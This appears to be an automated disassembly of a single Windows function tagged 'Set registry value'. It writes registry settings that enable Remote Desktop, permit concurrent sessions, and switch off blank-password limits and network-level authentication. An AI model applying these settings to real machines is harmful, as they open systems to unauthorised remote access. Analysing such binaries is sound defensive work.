Function at 0x100078c8
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [esp + 0xc]
push edi
mov dword [esp + 0x14], ecx
mov ebx, 0x20006
xor ecx, ecx
mov edx, 0x20106
cmp dword [0x10026880], ecx
push ecx
push eax
push ecx
mov eax, ebx
mov dword [esp + 0x1c], ecx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_Server
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10007966
xor eax, eax
cmp dword [esp + 0x14], eax
push 4
sete al
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [esp + 0x24]
call esi
cmp dword [esp + 0x14], 0
je 0x10007960
and dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.fSingleSessionPerUser
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
cmp dword [esp + 0x14], 0
je 0x10007bef
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
mov edx, 0x20106
push ecx
push eax
push ecx
mov eax, ebx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlLsa
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x100079be
and dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.LimitBlankPasswordUse
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
mov edx, 0x20106
push ecx
push eax
push ecx
mov eax, ebx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x10007a0b
and dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.UserAuthentication
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
mov edx, 0x20106
push ecx
push eax
push ecx
mov eax, ebx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x10007a54
push 4
lea eax, [esp + 0x18]
push eax
push 4
push 0
push str.EnableConcurrentSessions
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
mov edx, 0x20106
push ecx
push eax
push ecx
mov eax, ebx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x10007a9d
push 4
lea eax, [esp + 0x18]
push eax
push 4
push 0
push str.AllowMultipleTSSessions
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
cmp dword [0x10026880], 0
lea eax, [esp + 0x10]
push eax
mov ecx, 0x20119
mov eax, 0x20019
cmovne eax, ecx
push eax
push 0
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddIns
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10007bef
push dword [esp + 0x10]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
mov edx, 0x20106
push ecx
push eax
push ecx
mov eax, ebx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddInsClip_Redirector
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x10007b3d
push 0xe
push str.RDPClip
push 1
push eax
push str.Name
push dword [esp + 0x24]
call esi
push 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 3
push eax
push 4
push 0
push str.Type
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
mov edx, 0x20106
push ecx
push eax
push ecx
mov eax, ebx
cmovne eax, edx
push eax
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddInsDND_Redirector
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x10007ba3
push 0xc
push str.RDPDND
push 1
push eax
push str.Name
push dword [esp + 0x24]
call esi
push 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 3
push eax
push 4
push 0
push str.Type
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
xor ecx, ecx
lea eax, [esp + 0x10]
cmp dword [0x10026880], ecx
push ecx
push eax
push ecx
mov eax, 0x20106
cmovne ebx, eax
push ebx
push ecx
push ecx
push ecx
push str.SYSTEMCurrentControlSetControlTerminal_ServerAddInsDynamic_VC
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
test eax, eax
jne 0x10007bef
or dword [esp + 0x18], 0xffffffff
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.Type
push dword [esp + 0x24]
call esi
push dword [esp + 0x10]
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret